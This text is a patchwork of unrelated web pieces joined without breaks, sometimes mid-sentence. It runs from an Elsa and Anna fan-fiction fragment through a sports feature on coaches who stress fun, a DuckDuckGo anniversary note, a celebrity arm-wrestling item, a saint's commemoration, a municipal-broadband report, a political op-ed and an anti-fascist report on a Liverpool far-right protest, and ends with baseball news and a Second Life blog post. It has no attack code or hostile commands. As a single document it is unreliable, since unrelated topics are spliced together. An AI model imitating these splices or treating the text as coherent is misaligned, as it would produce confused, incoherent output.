"Yuppp!" replied Anna. "And I'm so happy you're taking them with me. You know I'm nowhere near as smart as you are. But I figured it would look good on my transcripts if I took at least two APs in my Junior year. You know, they say that colleges look at your Sophomore and Junior years as the most important ones? I hope I don't end up failing… God, that would be horrible. And I want to make sure I enjoy this year too! Because it's not only your last year but also Hans' and Milan's and basically everyone's as well! I wish I could graduate with you guys. I'll miss you all so much, especially you, Elsa." sulked the redhead.
Sensing a bit of stress from the redhead, Elsa searched her mind for some advice.
Say something, you fool. She's worried that this year won't go the way she plans.
"Hey, look at me." said the older girl. "Weren't you the one who told me last night that this year's going to be unforgettable? That I'll have some eye-opening experience?"
Anna nodded.
"Well, I can't do that if my best friend is already stressed out when the year hasn't even started yet!" chuckled Elsa, as she offered a hug to the troubled girl.
"I just don't want you to go once the year is over, Els. What will I do without you?"
Taken aback by those words, Elsa felt her cheeks grow hot. Combined with Anna's warm embrace, her heart started to flutter. At this moment in time, she could only think of three words to say to the younger redhead.
"You'll be fine."Do you spend too much time building reports with Google Analytics data?
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Here is an interesting video
Lucky for us! Someone @The Office shares the same sentimentThe rigors of the long season were starting to get to the Golden State Warriors. Back-to-backs, cross-country flights in the middle of the night, the mental and emotional toll of staying sharp through a seemingly endless season -- all of these factors were wearing down the winningest team in the league.
That's when Steve Kerr and a couple other members of his staff got an idea: Let's mock the hell out of Luke Walton. Walton was Kerr's top assistant, a rising star in the coaching world who would go on to become the Lakers' new head coach in April 2016. He'd won multiple championships as a player, and held additional status within the game as the son of one of the greatest players of all time.
On this day, nobody cared. Seeking to snap his team out of its malaise, Kerr ordered the team into the video room to watch some important film: Walton's devastating acting performance on "The Young and The Restless."
"It was horrible!" laughed Kerr in a recent phone conversation. "We put it on, and to Luke's credit he didn't care, he was very comfortable in his own skin. The big thing was it really lightened mood in practice that day. We try to make things entertaining and loose, while still working on the fundamentals every day and competing every day."
Kerr is one the most prominent advocates of something which a generation ago might have seemed like a novelty in sports: preaching the idea of fun. The grind of a long season, the pressure of playing in the spotlight, the close quarters players must keep with each other for six months or more... all of these can create tension, mental fatigue, and conflict. By making fun a central tenet of their locker room culture, Kerr -- along with leading fun advocates like Chicago Cubs manager Joe Maddon and Seattle Seahawks coach Pete Carroll -- believe they can unlock a competitive advantage that's tough to quantify, but still real.
These guys have all the fun. CBS Sports
The origins of Kerr's flight to fun start in his playing days. A sharp-shooting guard, Kerr played five seasons in Chicago under Phil Jackson. Known for his fervent support of practices such as meditation and yoga, Jackson found plenty of other ways to connect with his players too. Like other teams, the Bulls put in plenty of hours in the film room, dissecting other teams' tendencies. But Jackson would sprinkle in clips from classic comedies to liven the mood, finding the right moments from "Caddyshack" or "Animal House" based on the specific challenge that night's opponent presented. Imagine the wacky, lovable science teacher who used to blow stuff up in class, Kerr says -- that was Jackson.
After his run in Chicago, Kerr spent four of his final five seasons playing for the Spurs. San Antonio's coach Gregg Popovich has long projected a crusty demeanor on the sideline and during his notoriously short and grouchy in-game interviews. But Kerr praised both his future Hall of Fame coaches for knowing how to get the most out of their players.
"Pop had this great sense of humor. With him the days were fun," Kerr said. "Both Phil and Pop were interesting human beings who really cared about their players. They both created a balance between discipline -- getting work in everyday -- and fun. It can't just be a summer camp run wild where you do whatever you want. There was always some structure behind it too. But I always thrived best in those situations when I enjoyed myself."
Watch the Warriors practice, warm up for games, or splash threes against helpless opponents, and you'll see all of that fun in action. There's no scenario in which Steph Curry will ever need to launch a 3-pointer from the edge of an arena's tunnel, which makes practicing that shot analytically useless. But it's part of the two-time MVP's pregame ritual, it gets the crowd fired up, and hell, he's damn good at it. Bombs away.
When the Warriors recruited Kevin Durant in the wake of their heart-breaking loss in the NBA Finals, they had plenty of ammunition at their disposal. First, they could offer a loaded roster, one that had won two straight Western Conference titles, nearly won two straight NBA Finals, and boasted arguably the best player in Curry. Second, Golden State's unselfish, fast-paced, spread-the-court style of play fit Durant's game absolutely perfectly. But when Sports Illustrated writer Alex Kennedy asked Draymond Green how he helped convince Durant to join the team, Green had a simple reply.
"I mean, I was really just telling him about the fun we have together," he said.
When it comes to contemporaries, the coach Kerr cites as his biggest influence actually comes from another sport: Pete Carroll. A well-regarded assistant coach at the college level for a decade, Carroll cracked the NFL in 1984 as defensive backs coach with the Bills. A decade after that, he won the coaching job with the New York Jets. Carroll quickly earned a reputation as an enthusiastic leader. Urging both his players and assistant coaches to have fun, he rolled out many ideas that had nothing to do with football: bowling outings, cookouts with players, three-on-three basketball games with his fellow coaches in the parking lot of the team's practice facility.
Carroll's critics weren't impressed. When the Jets went 6-10 in his first season, that also became his last, as the team fired him at season's end. When the New England Patriots went from 10-6 to 9-7 to 8-8 in Carroll's first three seasons in Foxboro, he was dismissed again. By the end of that three-year stretch, the team had roster problems and talent shortages that might not have been solvable by any coach. But the perception remained the same: Carroll's drive to create a fun atmosphere made him too soft to be an NFL coach -- doubly so in hard-edged East Coast markets, triply so when he took over for noted hard-ass Bill Parcells with the Pats. Talking to the San Francisco Chronicle in 2000, Carroll admitted that his approach was never going to resonate everywhere. "I think I fit better in other places," he said.
The energetic Pete Carroll brought life back into one of college football's biggest powerhouses. Getty Images
One of those places turned out to be Los Angeles, specifically back at the collegiate level at USC. After winning the job at Southern Cal only because the Trojans' first three choices all fell through, Carroll quickly resurrected one of college football's traditional powerhouses. His enthusiasm jumped out at you on the practice field, on the recruiting front, and on the sidelines in the Coliseum. Practices were rowdy affairs, with music blaring the whole time, and a by-now over-50 Carroll sprinting the sidelines and sticking his nose right in the middle of drills. Led by Carroll and ace recruiter Ed Orgeron (and also multiple recruiting violations) the Trojans for years reeled in many of the top recruits in the country. Gameday was electric, not just because of the heroics of outrageously talented players like Reggie Bush, but also the three-hour smile plastered on Carroll's face every Saturday.
"I visited him a couple months before training camp of my first year," recalled Kerr. "And I just learned so much from him. I loved watching those USC teams. They were fun, but also so disciplined... but so fun."
Though skipping town amid that recruiting scandal didn't look great at the time, Carroll did go on to prove his critics wrong, successfully shifting his approach from college to the pros. Promoting the same mix of fun and hard work to his players, he led a loaded Seahawks team to the first Super Bowl victory in franchise history in 2014.
For Carroll and later Kerr, a thin, 134-page book called "The Inner Game of Tennis" by Timothy Gallwey encapsulated much of what they would teach their players. Though not a fun manual per se, Inner Game taught Kerr that "the most important thing is to get out of your own way." That inner voice that yells at us when we mess up, in sports or in life? Take control of that voice, and make it stop yelling. In Kerr's case, he learned a fun way to squelch that inner doubt, a method he will sometimes bring up to players who come to him in moments of uncertainty.
"In the book, the idea is that you take a practice session and pretend you're one of the world's best tennis players, instead of yourself," said Kerr. "So for me, when I was in Chicago, I would go to practice and I would be Jeff Hornacek, not myself. He was a way better player than I was, with lots of tricks, hook shots. I was very conservative as a player. But I started pretending to be Hornacek, I started taking more chances."
To Kerr, the broader message he conveys to his Warriors team is simple. "Don't take yourself so seriously! We make fun of each other, make fun of ourselves, let the players make fun of us. It's just a game!"
Steve Kerr preaches the power of fun and positive thinking. USATSI
While Kerr and Carroll win trophies through the power of fun and positive thinking, it's easy to forget how recently the opposite track was the one that many sports fans and media members revered.
Dick Williams was a two-time World Series winner and four-time pennant winner, one of the savviest managers in baseball history, liked by many of his players, and eventually a Hall of Famer. He could also be frighteningly cruel to players he didn't like. He would constantly question the toughness of his ace starter with the Montreal Expos, Steve Rogers -- despite Rogers firing 301 2/3 innings in Williams' first season in Montreal. When an excruciating bone spur grew so painful Rogers couldn't even lift his arm above his head (and forced him to miss the end of the 1978 season) and a poorly prescribed rehab approach led to brutal shoulder pain, Williams didn't offer any sympathy. On the eve of the next year's spring training, one of the Expos coaches asked Rogers how he was feeling.
"My elbow feels great, but my shoulder is killing me," Rogers replied.
Unimpressed by Rogers' All-Star pedigree and massive annual workload, a drunken Williams sneered. "Well, if you can't f------ pitch, then we'll get some-f-------body else."
Hall of Fame manager Dick Williams was one of the savviest managers in baseball history, but also a bit combative.
Williams could be combative, and he certainly drank too much. But he was an angel compared to Bobby Knight. Like Williams, Knight was one of the most successful coaches of his generation, leading his Indiana University Hoosiers to three national championships. He too recruited plenty of talented athletes to his school, and earned praise for developing many of those athletes into elite players.
He was also one of the nastiest human beings to ever coach any sport. You could maybe defend Knight throwing his chair across the court as a sign of protest against a referee that got out of hand but didn't actually hurt anyone. What no one can defend is the way Knight frequently treated his players. The abuse ranged from constant verbal tirades to an enraged Knight choking former IU guard Neil Reed in the middle of practice.
Kerr doesn't believe we'll see another Bobby Knight any time soon. For basketball in particular, he sees AAU culture supplanting old-school high school culture, where the high school coach is no longer "worshiped" like he once was. If an AAU coach berates a top prospect, he can just move to another town, and another team. And in the age of social media, Knight and his surrogates wouldn't be able to sweep his misdeeds under the rug -- they would become amplified, and in the case of something like the Neil Reed incident, become media firestorms that could cost him his job.
"It can't be my way or the highway anymore," Kerr said. "You have to collaborate. You even need to be more entertaining. Attention spans are getting much shorter. And I'm not saying, 'In my day, we focused better.' It's me too, I focus less now than I used to, with my iPhone. I believe that's a factor too. Coaches have had to adapt and change. As a result they're getting better."
Growing up playing high-level baseball and football (plus some basketball) in Hazleton, Pennsylvania, Joe Maddon never experienced a coach as unhinged as Knight. Still, playing for one particular coach, Maddon experienced the opposite of joy, and the dread that came with it.
"I had a coach who was a screamer and a yeller," recalled Maddon before a recent Chicago Cubs game at Wrigley Field. "He made you lose sleep. When you made a mistake, you felt like you wanted to cry on the sideline." Walking into the locker room, "you felt some absolute heaviness walking in that door. Wow. You're playing since you're 6-years-old, then all of a sudden you walk into this place you've always wanted to be, and you don't want to be there."
Maddon never wanted to be that guy. He vowed that if he ever got to coach or manage, he would be the guy who didn't yell when a player made a mistake. Instead, he would use player mistakes as opportunities to calmly and encouragingly offer a better approach that could work in the future. More than just an absence of negativity, Maddon sought to create a positive clubhouse environment which could help his players flourish.
Much of that effort involved spirited study of leadership skills, and psychology. Maddon took cues from more seasoned colleagues, including Gene Mauch and Terry Collins. He devoured books on the art of motivation and leadership. When Maddon took over the Cubs job, he brought in Dr. Ken Ravizza, a highly regarded sports psychologist with who'd worked with Maddon one-on-one for years when the skipper ran the Rays.
Still, a lot of it boils down to nothing more than Maddon encouraging players to be themselves, and to have fun. Instead of the same, boring, old procedures for road trips, he'll encourage players to wear wacky suits, short shorts, or whatever else fits with that week's theme. He'll liven up (and/or terrify) the clubhouse by bringing in a 20-foot python. During spring training mornings, he'll have a guitarist playing riffs that boom throughout the entire complex. After every regular-season and playoff win, they'll put up a disco ball and smoke machine, turn off all the lights, and hold a rager of a dance party. Whatever it takes to make players loosen up, enjoy themselves, and make it through the rigors of a long season, Maddon's willing to do it.
Joe Maddon (seen here with Jake Arrieta) encourages his players to wear wacky suits during road trips. USATSI
"If it's going to wear you down, if it's going to make you wary, then why would you want to do it? So it's got to be fun," Maddon said. "I ran instructional leagues in the 80s in Arizona. We ran "special Olympics", where we had different events. Devon White winning a jumping contest. Fungo contests -- Devo hit a fungo from home plate over the center-field batter's eye; that's 400 feet, he just flipped it up and bam! We had a 60-yard dash against a Weimaraner... of course the dog won every time. We had to line up on a line, and there would be shoe inspection. Frank Greenberg would do that and make everybody laugh. We would have a joke of the day. That would always get you going. It was just a lot fun, every day. I have not done one thing in my life that I haven't had fun doing."
When it comes to picking a place to play, Maddon's players stop short of calling fun a deciding factor. They list joining a winning team and finding the right city as more important factors, and of course money plays a big role too. Also, you can't know for sure how enjoyable it might be to play for a particular team until you get there (though Maddon's fun-loving reputation, and the fun that players had in Tampa Bay and now Chicago under him, have now spread throughout the league).
Still, for players who do opt to sign with the Cubs, the transition can be both jarring, and exciting.
Veteran left-hander Jon Lester had 155 million reasons to join the North Siders, of course. As a Red Sox, Lester remembers battling Maddon's Rays 19 times a year, and yes, sneering at them a bit. While the Sox followed more formal protocols, Rays players would have dressups, skip batting practice, and do all kinds of things that made Lester think, "That's not professional."
"Then you get to be a part of it, you get to meet Joe... and now I just love it," Lester said. "The biggest thing for me was understanding where he comes from and why he does this stuff. Because it is a long season. The word fun gets thrown around a lot. But you want things to be relaxed. You don't want guys beating their heads against the wall for seven, eight months. So things like having optional batting practice, we're traveling and we're going to wear messed-up suits, anything just to break up the monotony of those eight months.
"You spend all this time with these guys and it's like family. You're going to have spats and disagreements. So when you have fun things like that, it takes people's minds off other things. It really helps guys, especially the young guys who don't have to feel like they're walking on pins and needles all the time. They can just focus on baseball, instead of whether they're dressed properly, or if they say something stupid. I think that's what Joe is thinking about when he talks about the fun aspect of it."
Like Kerr, Maddon still emphasizes the importance of hard work, and doesn't see the quest to have fun as an excuse to slack off. Though he doesn't lay out a list of rules per se, Maddon will bench players for not running hard to first base; that happened several times with Melvin Upton Jr. in Tampa Bay. But as long as you don't disrespect the game or your teammates, you've more or less got free rein to do as you please.
For some of his players, that laissez-faire attitude is even more appreciated than some of Maddon's more colorful hijinks. When asked what Maddon does to set the clubhouse culture, outfielder Jason Heyward has a simple reply.
"He really doesn't do anything," Heyward said. "He just lets it be. He lets the players express their own personalities, and figures out how we want to go about each day, so that it's all natural."
The fun-encouraging ways of Kerr, Carroll, and Maddon, and the success that their teams have had, has caught the attention of other sports teams too. Last month, Toronto Maple Leafs front office staffers Kyle Dubas and Sheldon Keefe attended the International Positive Education Network in Dallas. On a broad scale, the festival aims to teach teachers, parents, academics, students, and schools about the value of encouraging a positive learning environment... often revolving around making learning fun. Long known as a team rooted in old hockey traditions, the festival offered a chance for the Leafs to learn a few new tricks that could prove useful in recruiting and retaining players, and making them perform to the best of their ability.
Why try to change decades of sports tradition? In a word, history. The Warriors' championship in 2015 was their first in 40 years. The Seahawks' 2014 Super Bowl win was the first ever for that franchise. The Maple Leafs haven't won a Stanley Cup since 1967. And of course, the Cubs have the longest championship drought in all of sports, at 108 years and counting.
If draping a giant snake over your players' shoulders or fantasizing about Jeff Hornacek are what it takes to end that kind of losing streak, then what the hell? Go have some fun.On Feb 29, 2008, I incorporated DuckDuckGo. Because that was a leap day, technically Feb 29, 2012 is our first birthday.
Back then I had no idea what would become of what I was doing. I had spent the previous few months crawling, messing around with structured data, parsing Wikipedia and working on other projects
The incorporation date was about seven months before I would soft launch the service on Hacker News.
My wife thought the idea of starting a search engine from our basement was absolutely nuts, but she did like the name.
Honestly, if you look at what it was back then it is hard to disagree with her.
Nevertheless, the original premise of a simpler and cleaner search engine still holds.
Even though it has been four years, in many ways it feels we're just getting started
Thank you to everyone who has ever used DuckDuckGo, especially people who gave it a chance early on.I'm retiring from arm wrestling after this. WarningDon't watch if yer squeamish. RT @justinbolomison: @GitRDoneLarry https://t.co/hPDCwunlhx — Larry The Cable Guy (@GitRDoneLarry) October 6, 2016
Comedian Larry the Cable Guy is going viral this morning after a video surfaced showing him breaking a man's arm in an arm-wrestling match.
TMZ obtained video of the incident, which happened at last week's Nebraska-Illinois college football game.
The longtime Blue Collar Comedy Tour funnyman is a Cornhuskers fan and attended the game last Saturday in Lincoln.
The injured man, reportedly an Army veteran, challenged the comedian to the test of strength at a luxury suite inside Memorial Stadium.
"Fittingly, he broke his humerus bone," reported TMZ, adding that the man underwent surgery and will be OK.
You can view the video below, but as Larry noted on Twitter, DO NOT WATCH if you are squeamish.
Larry the Cable Guy: 'Hillary Will Be the End of the Country'
Disney Closing for 4th Time Ever Due to Hurricane Matthew
'I Am Going to Ride It Out': Vanilla Ice Refuses to Evacuate Palm Beach Home
Disturbing Video Shows Couple Unconscious on Sidewalk After Using Heroin
Hacked Email: Did Steve Harvey Let Hillary Script Her Own Interview?Holy, Righteous Simeon the God-Receiver Commemorated on February 3
Righteous Simeon the God-Receiver was, according to the testimony of the holy Evangelist Luke, a just and devout man waiting for the consolation of Israel, and the Holy Spirit was upon him (Luke 2:25). God promised him that he would not die until the promised Messiah, Christ the Lord, came into the world.
Ancient historians tell us that the Egyptian pharaoh Ptolemy II Philadelphus (285-247 B.C.) wished to include texts of Holy Scripture in the famous Library at Alexandria. He invited scholars from Jerusalem, and the Sanhedrin sent their wise men. The Righteous Simeon was one of the seventy scholars who came to Alexandria to translate the Holy Scriptures into Greek. The completed work was called “The Septuagint,” and is the version of the Old Testament used by the Orthodox Church.
Saint Simeon was translating a book of the Prophet Isaiah, and read the words: “Behold, a virgin shall conceive in the womb, and shall bring forth a Son” (Is 7:14). He thought that “virgin” was inaccurate, and he wanted to correct the text to read “woman.” At that moment an angel appeared to him and held back his hand saying, “You shall see these words fulfilled. You shall not die until you behold Christ the Lord born of a pure and spotless Virgin.”
From this day, Saint Simeon lived in expectation of the Promised Messiah. One day, the righteous Elder received a revelation from the Holy Spirit, and came to the Temple. It was on the very day (the fortieth after the Birth of Christ) when the All-Pure Virgin Mary and Saint Joseph had come to the Temple in order to perform the ritual prescribed by Jewish Law.
When Saint Simeon beheld their arrival, the Holy Spirit revealed to him that the divine Child held by the All-Pure Virgin Mary was the Promised Messiah, the Savior of the world. The Elder took the Child in his arms and said, “Lord, now lettest Thou Thy servant depart in peace, according to Thy word, for mine eyes have seen Thy salvation, which Thou hast prepared before the face of all people, a light to enlighten the Gentiles, and the glory of Thy people Israel” (Luke 2:29-32).
There is a Christian epigram (Number 46) in “The Greek Anthology” which is addressed to Saint Simeon. It tells the righteous Elder to receive the Child Who was born before Adam, and Who will deliver Simeon from this life and bring him to eternal life. A similar idea is expressed in the Aposticha (Slavic use) for the Forefeast of the Nativity of the Lord (December 24). There the Mother of God refers to her Son as “older than ancient Adam.”
Simeon blessed the All-Pure Virgin and Saint Joseph, and turning to the Mother of God he said, “Behold, this child is set for the fall and rising again of many in Israel, and for a sign which shall be spoken against. Yea, a sword shall pierce through your own soul also, that the thoughts of many hearts may be revealed” (Luke 2:34-35).
The holy Evangelist continues: “And there was one Anna, a prophetess, the daughter of Phanuel of the tribe of Aser. She was of a great age, and had lived with a husband for seven years from her virginity; and she was a widow of about eighty-four years, who did not leave the temple, but served God with fastings and prayers night and day. And coming at that very hour, also gave thanks to the Lord, and spoke of Him to all those who looked for redemption at Jerusalem” (Luke 2:36-38).
The holy righteous Simeon the God-Receiver died at a great age (Tradition says he was 360). His holy relics were transferred to Constantinople in the sixth century. His grave was seen by the Russian pilgrim Saint Anthony, the future Archbishop of Novgorod (October 8) in 1200.Earlier this year, the Federal Communications Commission voted to ease the way for cities to become Internet service providers. So-called municipal broadband is already a reality in a few towns, often providing Internet access and faster service to rural communities that cable companies don’t serve.
The cable and telecommunications industry have long lobbied against city-run broadband, arguing that taxpayer money should not fund potential competitors to private companies.
The telecom companies have what may seem like an unlikely ally: states. Roughly 20 states have restrictions against municipal broadband.
And the attorneys general in North Carolina and Tennessee have recently filed lawsuits in an attempt to overrule the FCC and block towns in these states from expanding publicly funded Internet service.
North Carolina’s attorney general argued in a suit filed last month that the “FCC unlawfully inserted itself between the State and the State’s political subdivisions.” Tennessee’s attorney general filed a similar suit in March.
Tennessee has hired one of the country’s largest telecom lobbying and law firms, Wiley Rein, to represent the state in its suit. The firm, founded by a former FCC chairman, has represented AT&T, Verizon and Qwest, among others.
James Tierney, director of the National State Attorneys General Program at Columbia Law School, said it is not unusual for attorneys general to seek outside counsel for specialized cases that they view as a priority.
Asked about the suit, the Tennessee attorney general’s office told ProPublica, “This is a question of the state’s sovereign ability to define the role of its local governmental units.” North Carolina Attorney General’s office said in a statement that the “legal defense of state laws by the Attorney General’s office is a statutory requirement.”
As the New York Times detailed last year, state attorneys general have become a major target of corporate lobbyists and contributors including AT&T, Comcast and T-Mobile.
North Carolina is no exception. The state’s Attorney General Roy Cooper received roughly $35,000 from the telecommunications industry in his 2012 run for office. Only the state’s retail industry gave more.
The donations are just a small part of contributions the industry has made in the states. In North Carolina’s 2014 elections, the telecommunications industry gave a combined $870,000 to candidates in both parties, which made it one of the top industries to contribute that year. Candidates in Tennessee received nearly $921,000 from AT&T and other industry players in 2014.
The FCC’s decision came after two towns – City of Wilson in North Carolina and Chattanooga in Tennessee – appealed to the agency to be able to expand their networks.
The vote has rattled some companies. In a government filing earlier this year,
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, in north Wales, to Merseyside, as well as for crossing the Firth of Forth.
Image copyright PA Image caption One of Hovertravel's two hovercraft completes its 10-minute journey between Southsea and Ryde
"A resurgence of passenger hovercraft is easily possible," says Jacobs. "Running costs have fallen."
For now, though, the Southsea-Ryde passenger service, which celebrated its 50th anniversary this year, pays a lonely homage to Cockerell. Hovertravel has invested £10m in two new hovercraft - the first passenger models to be built and used in the UK for a decade.
"We will be a shop window for any existing or potential ferry operator who wants to be fast and frequent like us," says Loretta Lale, Hovertravel's commercial manager. "Our service has always attracted global interest and when the world sees what a 21st Century hovercraft can do we anticipate considerable interest."
Subscribe to the BBC News Magazine's email newsletter to get articles sent to your inbox.By Jacques Berlinerblau
President Obama spoke on Thursday morning at the 59th annual National Prayer Breakfast. The gathering is one of those peculiar Washington pageants that elicits diametrically opposed reactions from those who bother to take note of its existence.
Those hostile to the NPB view it as a raging Christ-fest. Those in support of it view it as good, clean, absolutely necessary, public worship of our God.
I, as you may have surmised, could do without the NPB. But part of being what I might call a “new secularist” consists of dealing with reality as it is, not reality as it might have been fifty years ago.
Well, when the president of the United States of America (a Democrat) delivers a twenty-two minute address about his personal faith, drops half a dozen Scripture bombs along the way, and declaims “I came to know Jesus Christ for myself and embrace Him as my lord and savior”–all I can say is that the sixties are over, man!
The golden age of secularism has passed. The secular movement–if there ever was a viable one in this country– must look at events such the NPB as an invitation to think secularism afresh (something I am trying to do in my current research).
In any case, here’s what I took away from the president’s speech:
Obama’s Performance? Not for the professors, but.... : Many academics, I suspect, secretly believe that Obama is one of us. As far as we’re concerned he’d rather be cogitating down at a good Div or Law School instead of working this day job that he’s got going now.
So whenever Obama speaks on weighty matters like religion we professors expect nothing less than Reinhold Niebuhr meets Max Weber meets Ralph Ellison. And we are invariably disappointed. That’s because a commander in chief who ruminates like an Oxford Don is not long for the White House.
Still, while yesterday’s address was a platitude-fest as well (i.e., “My Christian faith then has been a sustaining force for me over these last few years,”; “my faith journey has had its twists and turns. It hasn’t always been a straight line”), the overall speech was quite effective for the non-advanced degree crowd.
Obama spoke slowly. He avoided grand rhetorical gestures. He was humble and quite frankly, he looked exhausted–all of which lent his address an air of authenticity, even gravitas.
Using Faith and Values Talk to his Advantage: In last week’s State of the Union the president refracted nearly all of his issues through the prism of education.
At the National Prayer Breakfast he employed a similar tactic. Obama managed to skillfully package partisan political points in the guise of god talk.
Notice how Obama addresses the problem of incivility–in particular the rather uncivil charge that he is not a Christian–by seeking refuge in God:
When Michelle and I hear our faith questioned from time to time, we are reminded that ultimately what matters is not what other people say about us but whether we’re being true to our conscience and true to our God. “Seek first His kingdom and His righteousness and all these things will be given to you as well.
When Michelle and I hear our faith questioned from time to time, we are reminded that ultimately what matters is not what other people say about us but whether we’re being true to our conscience and true to our God. “Seek first His kingdom and His righteousness and all these things will be given to you as well.
Now observe how the president delivers a stealthy but firm elbow to the tea party and others who seem at war with the very notion of government:
There’s only so much a church can do to help all the families in need.... And that’s why I continue to believe that in a caring and in a just society, government must have a role to play; that our values, our love and our charity must find expression not just in our families, not just in our places of work and our places of worship, but also in our government and in our politics.
There’s only so much a church can do to help all the families in need.... And that’s why I continue to believe that in a caring and in a just society, government must have a role to play; that our values, our love and our charity must find expression not just in our families, not just in our places of work and our places of worship, but also in our government and in our politics.
The Office or the Kremlin?: Mid-speech the president gave a shout out to “The director of our Faith-based and Neighborhood Partnership’s office, Joshua DuBois — young minister himself — he starts my morning off with meditations from Scripture.”
I wish Mr. DuBois would start off my morning with explanations of what exactly that Office is doing–a never-ending source of confusion, and even awe, among reporters, policy analysts and professors in Washington, DC.
I have complained about this for years. I have nothing more to add. So, heck, let the president’s words speak for themselves:
Now, sometimes faith groups can do the work of caring for the least of these on their own; sometimes they need a partner, whether it’s in business or government. And that’s why my administration has taken a fresh look at the way we organize with faith groups, the way we work with faith groups through our Office of Faith-based and Neighborhood Partnerships.
Now, sometimes faith groups can do the work of caring for the least of these on their own; sometimes they need a partner, whether it’s in business or government. And that’s why my administration has taken a fresh look at the way we organize with faith groups, the way we work with faith groups through our Office of Faith-based and Neighborhood Partnerships.
Christ-Fest? While the president thankfully steers clear of “Christian nation” rhetoric there was simply too much of Obama the Christian yesterday.
Come to think of it, the National Prayer Breakfast often has this effect on politicians. Senator Joseph Lieberman, an Orthodox Jew, sprinkled so many references to the gospels at the 48th National Prayer Breakfast in 2000 that he made George W. Bush look like a desk officer for Americans United for Separation of Church and State.
Obama may earnestly believe that Republican Senator Tom Coburn is his “brother in Christ.” But such a sentiment sounds odd coming from a president who once reminded his Turkish hosts that ours is not “a Christian nation or a Jewish nation or a Muslim nation,” but “a nation of citizens who are bound by ideals and a set of values.”
Such a nation, one would hope, would be led by a person who understands that this type of rhetoric can be deeply troubling to those who don’t believe in Christ. Just as it may offend those Christians who believe that Christ’s teachings tend to become distorted when they are mouthed by the worldly powers that be.
By Jacques Berlinerblau |
February 4, 2011; 12:09 AM ET
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Main Index –>Neo-Nazis and Infidels are set to link up with Polish football hooligans as far-right groups try to return to the city of Liverpool tomorrow.
Far-right groups are set to return to the city of Liverpool on Saturday in a surprise protest only made public this morning. Anti-fascist groups had been led to believe the far-right protest would take place in the nearby city of Manchester, although exactly details had not been released.
The protest is being organised by 34 year-old Blackburn resident Shane “Diddyman” Calvert (below), organiser for the North West Infidels (NWI) who split from the English Defence League (EDL) in 2011. Other groups backing the protest include the South East Alliance (another EDL splinter), neo-Nazi youth group National Action (NA) and far-right Polish football hooligans.
Shane Calvert posing with a Combat 18 flag in Dover last September
Exact details of where in Liverpool the far-right protest will be held are going to be posted on the Facebook event at 1:30pm, half an hour before the protest is due to start. Many far-right activists are likely to have been informed of the location already through private communications.
Possible locations for the protest include the Pier Head, Lime Street station and the Unite the union offices on Churchill Way. All of these were visited by NA in November when they held a flash mob in the city. This came several months after they were utterly humiliated by anti-fascists and prevented from holding a 'White Man March' from Lime Street to the Pier Head.
Saturday's protest is believed to have been organised as a response to that humiliation which far-right groups faced back in August 2015. Calvert and other key activists from NWI were in the small group of neo-Nazis who were forced to cower in Lime Street station's lost luggage, before being rushed out of the city by the police for his own safety.
The Polish football hooligans participating in the protest are believed to be linked to the group who were responsible for attacking a music festival in Tottenham's Marksfield Park back in June 2014. If they join the protest it is set to be the first time people close to that group have participated in British far-right street activity. Up until now the only Polish presence in UK far-right activities has been the boneheads from the openly neo-Nazi National Rebirth of Poland (NOP).
But the presence of Poles has not been entirely welcomed by the far-right. NOP were banned from attending the protest in Dover last September by the National Front, for being Polish. There is a 13 page thread on neo-Nazi bulletin board Stormfront in which users argue over whether or not Polish hooligans should be allowed to join up with the NWI protest.
National Action's convicted sex offender in Newcastle earlier this year
Another contentious figure on the far-right believed to be attending is Ryan Fleming (above), the Leeds based convicted sex offender and Ian Brady fanboy who has recently joined NA. Despite being jailed for 26 months and having to sign the sex offender's register, NA are sticking by Fleming. He submitted a 17-year old boy to a “degrading and humiliating” ordeal where he was tied up, stripped and then sexually assaulted. NA leader Ben Raymond, who is set to give a speech at the protest in Liverpool, described Fleming's actions as the “folly of youth” while defending him on Stormfront.
Anti-fascist have responded to the change of location by calling on anti-fascists to assemble in Liverpool, keeping an eye out for announcements on the day. Posting on Facebook the Anti-Fascist Network said: “The [NWI] have moved their demo from Manchester to Liverpool tomorrow. Apparently they've realised they don't have the numbers to announce a demo and just do it without getting shut down, so they have to resort to last-minute changes.
“The nazis haven't announced where in Liverpool they're meeting yet, but keep an eye on this event for the latest info. Last time they came to Liverpool all they saw was the inside of the left luggage department, so maybe they're hoping to see some of the sights they missed out on.”The Buchbinder Legionaere Regensburg announced their new coaching staff on Friday afternoon. Just a couple of days after releasing Martin Helmig from his post as head coach, they introduced Ivan Rodriguez has new manager of the club. Additionally they added Kai Gronauer as hitting coach to the staff.
It is quite the coup for the Buchbinder Legionaere. Rodriguez is not known in Germany, but in European and International Baseball he is very well. He is coming from Mr. Cocker HCAW in the Dutch Hoofdklasse, where he worked as manager the past two seasons. He also played and coached in Venezuela. A few probably remember his Orkas BBC, which played as a European team one season in the Venezuelan Winter League. In the Netherlands he also worked as assistant coach with the Dutch Junior National Team.
Gronauer meanwhile is well known in Germany. The catcher played the past seven years in the New York Mets organization, reaching Triple-A. However his contract ran out this year and he decided to stop playing professionally in the United States. He is going to play and work as hitting coach in Regensburg.
The Buchbinder Legionaere also announced their new concept for the coaching staff. They now longer will train teams, but positions. Besides managing the Bundesliga team Rodriguez will also be responsible for the infielders. Gronauer works the hitting part of the game. Martin Brunner continues to take care of the pitchers, Stefan Mueller of strength and conditioning as well as the outfielders and Christopher Howard of the catchers.
They will start with the winter training on November 2, also the first day Rodriguez is expected to be in Regensburg. Justin Kuehn (going back to the US) and Enzo Muschik (moves to Munich) will leave the team. Besides Gronauer it was already known that 18-year-old infielder Lucas Dickman of the Mainz Athletics joins the club.
Photo by Buchbinder Legionäre Regensburg(click here for a raw shot)
Are you a skybox hermit? I can be at times, but I also like exploring the grid. I like scouting locations for shoots or just exploring the creativity of Second Life content creators. However, I can also be quite anti-social and just want to keep to myself, dress up my doll and take pictures of her in amusing ways, like today. That’s when the skybox comes in very handy and I can escape for some peace and quiet. My real life is pretty noisy and insane most of the time, so escaping to the peacefulness of my skybox is a refreshing change.
But what if you don’t want to go to jail for being a skybox hermit? Here are some places you can check out for locations to explore in Second Life:
Explore Second Life Flickr Group – Where thousands of residents share images of different Second Life locations, with SLurls to the locations in the descriptions. Honour McMillan’s Blog and Ziki Questi’s Blog – Two of my most favorite Second Life Travel Bloggers. SeraphimSL – Maybe you want to update your avatar and go shopping? There is ALWAYS some sort of fashion shopping event going on and Seraphim has all the scoop! The Second Life Destination Guide – “The chosen ones” by Linden Lab. A list of places (neatly categorized ) that the Lindens think you should visit!
